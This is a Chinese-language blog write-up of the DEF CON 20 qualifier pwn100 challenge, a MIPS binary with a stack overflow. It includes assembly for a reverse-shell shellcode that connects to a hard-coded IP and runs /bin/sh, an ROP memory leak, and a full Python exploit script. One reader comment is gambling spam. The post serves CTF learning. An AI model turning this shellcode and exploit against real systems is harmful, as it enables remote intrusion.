2012年6月19日 星期二

Defcon ctf 20 qual pp100 Writeup



又到了一年一度的駭客界盛事 Defcon ctf qual 的....... 半個月後了

期末考終於有時間來寫個 write up 了XD
由於沒有在時間內解完,所以這篇算是事後腦補文!

沒在時間內解出卡住的點是
沒有看出有 setrlimit 的限制
以及
腦袋轉的不夠快沒有想到利用 ROP 去 leak memory address


Pwnables 100
題目描述
Pwn it! Running on 140.197.217.85:1994 Download the binary
檔案可以在這下載
http://rdlabs.org/dc20qual/pwn100-mv6bd73ca07e54cbb28a3568723bdc6c9a



















連進去長得像這樣


可以用 binutils 的 file 觀察發現是 MIPS 架構的 ELF binary

orange@z:~/ctf$ file pp100
pp100: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, for GNU/Linux 2.4.18, stripped

環境可以利用 QEMU 架起來,可參考 é€™ç¯‡

qemu-system-mipsel.exe -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0"

想要網路的話加上參數 -net user & -net nic
想到 forward port 的話加上參數 -redir tcp:22::22
(Host OS 22 port to Guest OS 22 port)






















QEMU 長得像這樣

接著開始進行分析,配合 IDA pro 觀察
在 gdb 中會發現在 png2ascii 指令內超過一定長度會產生 Segmentation fault.
慢慢減少字串長度發現在 260 bytes 後的字元可以覆蓋到 PC
python -c "print 'png2ascii\n' + "0"*260 +'A'*4" | nc 0 1994


















很簡單的 Buffer overflow 不過是 MIPS ~"~
可以很快地寫出 Exploit 但是 shellcode 有大小限制 ,網路上的皆無法使用所以只好自己寫 = =|||
(網路上的 shellcode 是考慮到 null byte,所以利用變形的方式繞過所以寫得又臭又長,而且還有寫錯的~"~)

要注意的點
MIPS 有分 Big endian 以及 Little endian,可以從 "\xc0\x01\x01\x01" or "\x01\x01\x01\xc0" 看出
syscall 值 可以參考 /usr/include/asm/unistd.h
MIPS 參數傳遞由 a0,a1,a2,a3 下去
MIPS 回傳值位於 ra
字串放進 stack 內位置要對齊,不然會寫得很幹!

透過 gdb, gcc, objdump, strace 可以寫出 shellcode

大致如
setrlimit -> socket -> connect -> dup2(將 stdout, stdin, stderr 轉至 fd) -> execv
Reference 中另外一隊的寫法是直接將當前連線當成資料交換的地方,直接 dup2,更厲害讓 shellcode 更短

void main() {
    // setrlimit
    asm("li $v0,4075");
    asm("li $a0,5");
    asm("addiu $a1,$sp,-64");
    asm("li $t7,100");
    asm("sw $t7,-64($sp)");
    asm("sw $t7,-60($sp)");
    asm("syscall 0x40404");

    // socket
    asm("li $a0,2");
    asm("li $a1,2");
    asm("li $a2,6");
    asm("li $v0,4183");
    asm("syscall 0x40404");

    // connect
    asm("sw $v0,-1($sp)");
    asm("lw $a0,-1($sp)");
    asm("lui $t7,0x5555");      // port
    asm("ori $t7, $t7,2");
    asm("sw $t7,-32($sp)");
    asm("lui $t5,0xc893");      // IP
    asm("ori $t5,$t5,0xe6ad");  // IP
    asm("sw $t5,-28($sp)");
    asm("addi $a1,$sp,-32");
    asm("li $a2,16");
    asm("li $v0,4170");
    asm("syscall 0x40404");

    //dup2
    asm("li $a1,2");
    asm("lw $a0,-1($sp)");
    asm("out:");
    asm("li $v0,4063");
    asm("syscall 0x40404");
    asm("addi $a1,$a1,-1");
    asm("li $t3,-1");
    asm("bne $a1,$t3,out");

    // execv
    asm("lui $t7,0x6e69");
    asm("ori $t7,$t7,0x622f");
    asm("sw $t7,-12($sp)");
    asm("lui $t6,0x68");
    asm("ori $t6,$t6,0x732f");
    asm("sw $t6,-8($sp)");
    asm("sw $zero,-4($sp)");
    asm("addiu $a0,$sp,-12");
    asm("li $a1,0");
    asm("li $a2,0");
    asm("li $v0,4011");
    asm("syscall 0x40404");
}


總共長度為 176 bytes
接下來的問題就是如何找到 shellcode 在 stack 的位置



















利用 Return Oriented Programming (ROP) 可以跳至 syscall __NR_send 的位置,並且參數可以自己控制最終將 Remote 的記憶體資料讀回來找出 shellcode 位置

最終的 Exploit python code

import socket
from struct import pack

HOST = "140.197.217.85"
#HOST = "127.0.0.1"
PORT = 1994

sc = (  "\xEB\x0F\x02\x24\x05\x00\x04\x24\xC0\xFF\xA5\x27\x64\x00\x0F\x24"
        "\xC0\xFF\xAF\xAF\xC4\xFF\xAF\xAF\x0C\x01\x01\x01\x02\x00\x04\x24"
        "\x02\x00\x05\x24\x06\x00\x06\x24\x57\x10\x02\x24\x0C\x01\x01\x01"
        "\xFF\xFF\xA2\xAF\xFF\xFF\xA4\x8F\x55\x55\x0F\x3C\x02\x00\xEF\x35"
        "\xE0\xFF\xAF\xAF\x93\xC8\x0D\x3C\xAD\xE6\xAD\x35\xE4\xFF\xAD\xAF"
        "\xE0\xFF\xA5\x23\x10\x00\x06\x24\x4A\x10\x02\x24\x0C\x01\x01\x01"
        "\x02\x00\x05\x24\xFF\xFF\xA4\x8F\xDF\x0F\x02\x24\x0C\x01\x01\x01"
        "\xFF\xFF\xA5\x20\xFF\xFF\x0B\x24\xFB\xFF\xAB\x14\x25\x08\x20\x00"
        "\x69\x6E\x0F\x3C\x2F\x62\xEF\x35\xF4\xFF\xAF\xAF\x68\x00\x0E\x3C"
        "\x2F\x73\xCE\x35\xF8\xFF\xAE\xAF\xFC\xFF\xA0\xAF\xF4\xFF\xA4\x27"
        "\x00\x00\x05\x24\x00\x00\x06\x24\xAB\x0F\x02\x24\x0C\x01\x01\x01"
    )

nop = "A"*(260-len(sc))
retAddr = 0x7f7fbc6a    # shellcode address
#retAddr = 0x00411498    # ROP to leak stack address

if __name__ == "__main__":
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    s.recv(1024)
    s.recv(1024)
    s.send('png2ascii\n')
    s.recv(1024)

    # get stack memoery
    # s.send(nop + \
    #        sc + \
    #        pack("I", retAddr) + \
    #        pack("I", 4) + \
    #        pack("I", 0x4bd740 ) + \
    #        pack("I", 0xffff) + \
    #        pack("I", 0) + "\n"
    #      )
    # tmp = []
    # for i in range(0, 0xffff, 1024):
    #    buf = s.recv(1024)
    #    tmp.append( buf )
    # with open("temp.txt", "w+") as fp:
    #    fp.write( "".join(tmp) )

    # jump to shellcode
    s.send(nop + sc + pack("I", retAddr) + "1234")
    s.close()


Reference:
http://blog.lse.epita.fr/articles/17-defcon2k12-prequals-pwn100-writeup.html
http://www.exploit-db.com/exploits/18226/
http://www.thc.org/root/docs/exploit_writing/mipsshellcode.pdf

2 則留言:

  1. 请问按照你的教程,成功进入了mipsel虚拟机,但不能执行那个pp100,没有任何显示输出。是不是在guest机器里还要安装什么包?或是在host里面要装些什么东西,第一次接触mipsel,谢谢!

    回覆刪除
  2. with high payouts pgslot99
    and easy chances of winning. The pgslot99
    jackpot is broken most often. Make players get huge profits, easy to play, definitely earn money. Just sign up as a new member to win jackpots and special bonuses

    回覆刪除